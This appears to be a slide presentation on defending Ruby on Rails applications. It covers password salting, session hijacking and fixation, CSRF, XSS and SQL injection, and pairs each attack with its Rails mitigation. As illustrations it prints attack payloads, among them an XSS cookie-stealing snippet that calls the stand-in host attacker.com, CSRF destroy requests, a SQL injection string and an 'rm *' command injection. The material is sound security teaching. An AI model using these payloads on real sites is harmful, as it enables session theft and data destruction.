Docstoc

Defending-Against-Attacks-With-Rails

Document Sample
Defending-Against-Attacks-With-Rails Powered By Docstoc
					Defending Against Attacks
        With Rails
     General Principles

Kerckhoff's Principle – Always assume
the method of security is known

Always validate on the server side, even
if you validate on the client side

Whitelist, don't Blacklist
             Authentication

 Step 1:
 One-way hash all passwords



   MD5: 128-bit hash values ( 2^128 tries)
   SHA -> 160-bit hash values (2^160 tries)

   Secure?
Why is hashing not enough?

   Same passwords hash to same
    value

   ∴ Attacker can easily determine if
    multiple users have the same
    password

   Very weak against Rainbow
Use Salt




   Ensures same password will hash to different
    values

   Rainbow tables are useless, attacker would
    essentially have to compute a rainbow table for
    each password with the new salt
People Use Crappy Passwords

   20 common passwords from MySpace phishing
    attack:


   password1, abc123, myspace1, password, blink182,
   qwerty1, ****you, 123abc, baseball1, football1,
   123456, soccer, monkey1, liverpool1, princess1,
   jordan23, slipknot1, superman1, iloveyou1,
   monkey


   ( http://www.schneier.com/blog/archives/2006/12/realworld_passw.html )
Restful Authentication
   Great way to implement authentication in Rails

    Easy setup with hashes and salts

    Extra protection for crappy passwords with
    SITE_KEY and stretching
What Else Can We Do?

   It is really hard to protect accounts with bad
    passwords

    Always provide a password strength meter

    Maybe only accept passwords at a certain strength
    level
Mass Assignment

   Rails let's us do stuff like



   Not secure if we have special attributes like
    is_admin

   An attacker can make a POST request with
Solve By Whitelisting

   For previous example:




   Can also use attr_protected to Blacklist
Accessing Records

   Let's say we have bands and shows...
Logging

   Tell Rails not to log sensitive data
Security Through Obscurity?

   My default server response header:
   “Apache/2.2.11 (Unix) mod_ssl/2.2.8
    OpenSSL/0.9.8g DAV/2 PHP/5.3.0
    Phusion_Passenger/2.2.2”

   Add this to your Apache conf:
   ServerTokens Prod

   New server response header
   “Apache”
More Obscurity?

   Turn your server signature off

   Add this to the bottom of your Apache conf:

   ServerSignature Off
Stack Traces

   Rails handles this but good to know about

   config/environments/development.rb

   config/environments/production.rb


   Want prod error message in dev? In app
    controller...
Time For The Scary Stuff...


Session Hijacking

   How does it work?

   Session ID's are stored on client machines

   1) Attacker gets SID from authenticated user

   2) Attacker presents SID to web app as his own
How Does Attacker Get SID?

   1) Guess the Session ID

   2) Network sniffing

   3) Finding cookies on shared computer

   4) Cross-site scripting (more on this later)

   5) Session fixation (more on this later)
Guessing the Session ID

   Rails makes this very difficult by making Session
    ID's very random

   SID's are hashes of string containing

    current time
    random number between 0 and 1
    PID of ruby interpreter (another random number)
    constant string
Sniffing the Session ID

   Possible on an unencrypted wireless LAN (
    internet cafe )

   Solution: provide SSL connection
Shared computer problem

   Consider public computers

   Solution: Provide a logout button to clear the
    session

   Good example – Bank Of America:

   Provide a low session expiration time with pop-up
    warning
Cookie Security

   Rails uses CookieStore by default as of v2.2

   Can users tamper with the cookies?

   Only if they have the secret key:

   config/environment.rb
Cookie Precautions

   Don't store in the session:

   -Sensitive Data
   cookie data is not encrypted, it is base64 encoded!
   ∴ clients can read cookies

   -Transient Data (account balance)
   vulnerable to replay attack...see next slide

   -Use a long secret key
   128 characters
What is a Replay Attack?

   When a client presents an old cookie that is valid
    and convinces the server that it is current

   Use a nonce?
   sounds like overkill....but maybe try memcached

   Best solution:
   Don't keep transient data that is sensitive (account
    balance) in the session
Session Fixation

   1) Attacker gets a valid session

   2) Attacker forces his victim to use valid session

   Now attacker has access to your session
Good Example from Wikipedia

   Given:

    Alice has bank account at http://un.safe.ly

    Mallory wants Alice's money

    Alice has reasonable amount of trust in Mallory
The Attack

   1) Mallory knows the http://un.safe.ly accepts
    SID's from query strings

   2) Mallory sends Alice an email “Check out this
    new cool bank feature
    http://un.safe.ly/?SID=GOTCHA”

   3) Alice visits the link and logs in

   4) Mallory visits the link and has access to Alice's
    account
Other Attacks

   You can also use XSS to set a victim's session ID

   <script>
   document.cookie="_session_id=PUT_SID_HERE
    ";
   </script>

   OR

   <meta http-equiv=Set-Cookie
    content="_session_id=PUT_SID_HERE">
Fixation Mitigation

   In Rails, one line of code:
   reset_session

   In last example, Alice's session would have been
    reset upon login

   The tradeoff?

   Forms will expire
   (read more:
    vendor/plugins/restful_authentication/notes/Tradeoffs.txt )
Restful Authentication Example

   app/controllers/sessions_controller.rb




   Read about tradeoffs:
    plugins/restful_authentication/notes/Tradeoffs.txt
Cross-Site Request Forgery

   What is it?

   Let's start with a great example from Rails Guides
CSRF Example

   1) Attacker posts on a message board
   <img src="http://www.webapp.com/project/1/destroy">
   2) Bob recently used webapp.com, session still
    alive
   3) Bob visits message board
   4) Browser loads image, sending cookie from
    Bob's machine
   5) webapp verifies cookie credentials and destroys
    project with ID=1
   6) No image displayed on forum
CSRF Mitigation

   1) Require POST methods where applicable
   config/routes.rb


   app/controllers/projects_controller.rb



   Still not secure, POST requests can be sent
    automatically on events
Automatic POST Request

   <a href="http://www.harmless.com/" onclick=" var f
    = document.createElement('form'); f.style.display =
    'none'; this.parentNode.appendChild(f); f.method =
    'POST'; f.action =
    'http://www.example.com/account/destroy';
    f.submit(); return false;">To the harmless survey</a>

   OR

   <img src="http://www.harmless.com/img"
    width="400" height="400" onmouseover="..." />
Another Security Measure

   2) Add a security token in forms

   Rails automatically includes security tokens in
    forms

   app/controllers/application_controller.rb




   Use secret if not using CookieStore
Cross-Site Scripting ( XSS )



                     Most Common

                     Most Devastating

                     510,000 Attacks
                     in April, 2008

The XSS Attack

   1) Attacker visits website and injects some code
    through web form or other means

   2) Web application saves injected code and
    displays it later to a victim
The Possibilities

 Steal cookies

 Hijack sessions

 Redirect victim to malicious website

 Display advertisements to benefit attacker

 Change elements on website to get credentials

 Install malware through browser security holes
XSS Example

   Getting cookie information

   <script>document.write('<img
    src="http://www.attacker.com/' + document.cookie +
    '">');</script>
   OR
   <img src=javascript:document.write('<img
    src="http://www.attacker.com/' + document.cookie + '">')>
   OR
   <table background="...">

   Now the attacker checks his server logs
Get User Credentials

   Use an iframe to present a form to be submitted to
    your server
   <iframe name="LoginForm"
    src="http://58.xx.xxx.xxx"></iframe>
XSS Mitigation

   1) Whitelist input filtering


   Good reference:
   http://apidock.com/rails/ActionView/Helpers/SanitizeHelper/sanitiz
    e
   2) Escape all output of your application

   In your views...
   <%=h user_input %> # done by default in Rails 3
SQL Injection



   An attack that manipulates SQL
    queries performed by a web
    application on its database.
SQL Injection Example

   My application has Reminder objects which
    belong to Band objects

   I could do something like...
   Reminder.find(:all, :conditions => "band_name =
    '#{band_name}'")

   What if an attacker enters for their band_name:
   ' OR 1=1 OR '

   SELECT * FROM `reminders` WHERE
    (band_name = '' OR 1=1 OR '')
SQL Injection Mitigation

   In Rails use
   Reminder.find(:all, :conditions => ["band_name = ?",
    band_name])

   Resulting SQL:
   SELECT * FROM `reminders` WHERE (band_name = '\' OR 1=1
    OR\'')



   ', ”, NULL, and line breaks are escaped

   Query returns nothing
But Obviously...

   Do this
   @reminders = @band.reminders

   The previous tip works great for complicated
    custom queries
Other Injections

   1) Ajax
   Returning a string in Ajax call? Escape in
    controller

   2) RJS
   escape_javascript() within JS and h() within
    HTML

   3) CSS
   Some browsers allow HTML/JS in CSS
   <div id="abc" expr="alert('!!!')"
    style="background:url('javascript:eval(document.all.abc.expr)')"
    >
More Injections

   4) Textile
   Use whitelist filtering!
   RedCloth.new("<a
    href='javascript:alert(1)'>hello</a>",
    [:filter_html]).to_html
   # => "<p><a
    href="javascript:alert(1)">hello</a></p>"

   5) Command Line
   system("/bin/echo","hello; rm *")
   # prints "hello; rm *" and does not delete files
More Injections

   6) Header
   -escape referer, user-agent, cookie, etc. if you
    display these headers on a page
   -be aware of how you build headers because
    injections can rewrite headers and inject arbitrary
    headers (up to Rails 2.1.2)
   more in Rails Guides, section 8.9

   7) Encoding
   Browser understands encoding, but your app does
    not therefore sanitize method is useless
Regular Expressions

   Use \A and \Z, not ^ and $




   The problem?
   file.txt%0A<script>alert('hello')</script>
   passes the test because of the newline

   Result: "file.txt\n<script>alert'hello')</script>"
Whitelist, Don't Blacklist

   1) before_filter :only => [...] instead of :except =>
    [...]

   2) Use attr_accessible instead of attr_protected

   3) Only allow certain tags when stripping instead of
    allowing all tags except

   4) Don't try to correct user input
   This will make the attack work:
    "<sc<script>ript>".gsub("<script>", "")
Some Links

 http://guides.rubyonrails.org/security.html
 http://en.wikipedia.org/wiki/Session_fixation
 http://www.rorsecurity.info/journal/2007/4/15/session
 -fixation-in-rails.html
 http://github.com/technoweenie/restful-authentication/
 http://www.matasano.com/log/958/enough-with-the-
 rainbow-tables-what-you-need-to-know-about-secure-
 password-schemes/